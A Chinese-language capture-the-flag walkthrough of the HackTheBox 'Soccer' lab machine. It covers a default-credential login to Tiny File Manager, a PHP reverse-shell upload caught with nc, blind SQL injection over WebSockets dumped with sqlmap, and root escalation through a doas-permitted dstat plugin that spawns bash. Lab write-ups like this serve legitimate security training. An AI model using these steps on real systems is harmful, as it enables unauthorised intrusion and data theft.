HackTheBox Soccer 通过WebSockets进行SQL注入,Doas与Dstat插件提权
靶机网址:
https://app.hackthebox.com/machines/Precious
枚举
使用nmap枚举靶机
nmap -sC -sV 10.10.11.194
机子开放了22,80和9091端口,我们本地dns解析这个域名
echo "10.10.11.194 soccer.htb" >> /etc/hosts
然后fuzz网站根目录
ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt -t 100 -mc 200,301 -u http://soccer.htb/FUZZ
扫到一个目录,去网站上看看
看起来这是一个后台的登录页面,这个后台的框架名叫Tiny File Manager,在github上是开源的
https://github.com/prasathmani/tinyfilemanager
在这下面可以看到默认的用户名和密码,我们登录试试
登录后是一个文件上传的页面,我试了一下,发现可以上传文件的目录为/tiny/uploads
进入到这个目录,点击右上角的upload上传rev shell
我使用的rev shell:
https://pentestmonkey.net/tools/web-shells/php-reverse-shell
需要更改ip和port参数
然后nc监听这个端口,回到网页上传文件
上传成功后点击这个图标访问rev shell
成功获得交互shell
现在使用linpeas脚本搜集主机信息
https://github.com/carlospolop/PEASS-ng/releases/tag/20221218
chmod +x linpeas.sh
./linpeas.sh
通过这个脚本,在这台机子上发现了很多漏洞,但是都用不了,应该是打补丁了
在下面,脚本列出的nginx默认配置里发现了一个子域名
我们本地dns解析这个域名
echo "10.10.11.194 soc-player.soccer.htb" >> /etc/hosts
通过WebSockets进行SQL注入
现在访问这个域名
发现左上角有一个注册模块,我们注册一个账号
然后登录
登录后就会跳转到这个页面
似乎是要检查我们的票证,通过查看这个页面的源代码,可以发现突破点
它使用的是WebSockets,然后将我们输入的发送到这个URL “ws://soc-player.soccer.htb:9001”
这里告诉我们,传递的参数为id,一会sql测试的时候需要用到它
现在需要通过WebSockets进行SQL注入测试,通过google,找到了这篇文章
https://rayhan0x01.github.io/ctf/2021/04/02/blind-sqli-over-websocket-automation.html
我们将这个代码复制下来,新建一个python文件,并粘贴进去
根据那个网页源代码,修改ws_server和data参数
然后安装websocket模块
pip3 install websocket-client
安装完成后运行脚本
python3 web_socket.py
现在使用sqlmap进行测试
sqlmap -u http://localhost:8081/?id=1 --dump-all --exclude-sysdbs
--dump-all:查找并转储找到的所有数据库
--exclude-sysdbs:不会在默认数据库上浪费时间
因为是时间盲注,所以需要等待几十分钟
现在得到用户名和密码了,使用ssh登录即可
ssh player@10.10.11.194
根据之前linpeas脚本搜集到的信息,发现doas程序有suid权限,doas也不是默认安装的程序,根据HTB机子的规律,这个程序多半是突破点了
什么是Doas
https://zh.m.wikipedia.org/zh-hans/Doas
简单来说,Doas是一个与Sudo具有相同功能的软件
寻找doas软件的配置
find / -type f -name doas.conf 2>/dev/null
提示允许用户player用dstat使用root
Dstat插件
通过查看dstat程序的官方文档,发现我们可以编写插件并执行,名称必须为dstat_*.py,插件存放的目录为/usr/local/share/dstat/
我们可以往插件里写入rev shell获得root权限
我们移动到这个目录下,创建一个名为dstat_baimao.py的文件
cd /usr/local/share/dstat/
touch dstat_baimao.py
chmod 777 dstat_baimao.py
写入代码
import subprocesssubprocess.run(["bash"])
#启动一个新的 bash shell
然后使用Doas执行Dstat插件
doas /usr/bin/dstat --baimao
成功获得root权限
HackTheBox Soccer 通过WebSockets进行SQL注入,Doas与Dstat插件提权相关推荐
- HackTheBox MetaTwo 网站框架CVE获取用户shell和破解私钥提权
题目网址: https://app.hackthebox.com/machines/MetaTwo 枚举 使用nmap枚举靶机 nmap -sC -sV -p- 10.10.11.186 扫到了域名, ...
- SQL注入-05-防御修复建议
SQL注入的防御 应用层防御 1.应用层防御的目标 (1)SQL注入的本质原因是应用层的问题 (2)SQL注入应用层防御的目标是修复SQL所有可能的漏洞,做好事前的防范 2.过滤SQL注入基本字符 ' ...
- HTP(hackthebox) Soccer !!!
Nmap-扫描结果 PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; ...
- SQL注入-基于MySQL的注入提权(十七)
实验目的(我的2003是32位的懒得搞了,大家参照一下吧) 普及结合dll文件对Windows系统进行启动项提权.MOF和UDF提权的基本思路,以及提权的主要方法.PS:面试时不要说打靶场什么东西,就 ...
- 《Web安全渗透全套教程(40集)》学习笔记 | SQL注入攻击及防御
学习视频来源:B站<Web安全渗透全套教程(40集)> 个人在学习的同时,也验证了视频中的实验部分,现将授课笔记和实验笔记整理下来. SQL注入危害 SQL基础回顾 连接数据库 查看数据库 ...
- 使用Burp,nbsp;Sqlmap进行自动化SQL注入渗透测试
在OWSAP Top10中,注入型漏洞是排在第一位的,而在注入型漏洞中,SQL注入是远比命令行注入.Xpath注入.Ldap注入更常见.这就是本章要讲述的主要内容:在web应用程序的渗透测试中,如何使 ...
- Web安全Day1 - SQL注入实战攻防
声明:文中所涉及的技术.思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担! 本专题文章导航 1.Web安全Day1 - SQL注入实战攻防 http ...
- 第三方组件提权-SQL server提权
文章目录 基础 MSSQL权限级别 拿webshell xp_cmdshell执行系统命令 LOG备份getshell 提权 使用xp_cmdshell进行提权 以下内容为转载 使用sp_oacrea ...
- MSSQL注入手工注入mssql提权
mssql数据库 mssql数据库相比mysql数据库本质上的框架是差不多的,使用的增,删,改,查命令是互相通的,mysql中使用的函数在mssql中有些会起不到作用点. MSSQL数据库的基本知识 ...
最新文章
- 原 c++中map与unordered_map的区别
- 蓝牙stack bluez学习(1)Stack Architecture
- Linux c中使用系统时间
- iOS APP之本地数据存储(译)
- 计算机网络之网络层:12、网络层设备
- Gtk的entry传递数据到内部程序
- linux exec操作文件描述符
- [Machine Learning]朴素贝叶斯(NaiveBayes)
- 博文视点大讲堂第44期——招聘真相全揭秘 圆满结束
- C笔记 -- 一个为 IT人士打造的笔记工具
- Linux U盘检测与速度测试源码
- Spring中AOP的实现原理
- ArcFace: AdditiveAngularMarginLossforDeepFaceRecognition
- 计算机热启动方法,关于电脑热启动的介绍
- 拉勾网positionAjax获取的时候(带有账号登陆的时候)频繁获取被拉黑
- 在微型计算机中1mb等于多少字节,1MB等于多少字节?
- AMBA协议之AXI协议——中文翻译
- [网盘工具/百度网盘]秒传链接的使用 -2022版油猴网页脚本
- websphere安装was8.5
- 什么是mysql时间戳_什么是mysql 的时间戳
热门文章
- 解决git冲突:please move or remove them before you can merge
- springmvc @ResponseBody返回json 报406 not acceptable
- HDU 3338 网络流 建图
- 计算机应用基础是文管二级吗,计算机应用基础
- 3600元配置 中低端(不带音响)
- Addressable内存释放代码
- JavaScript实现的水果忍者游戏,支持鼠标操作 1
- [量化-018]如何理解券商
- 显示器接口_Mac 用户超好用的显示器,色彩完美还接口多
- das asda as as das da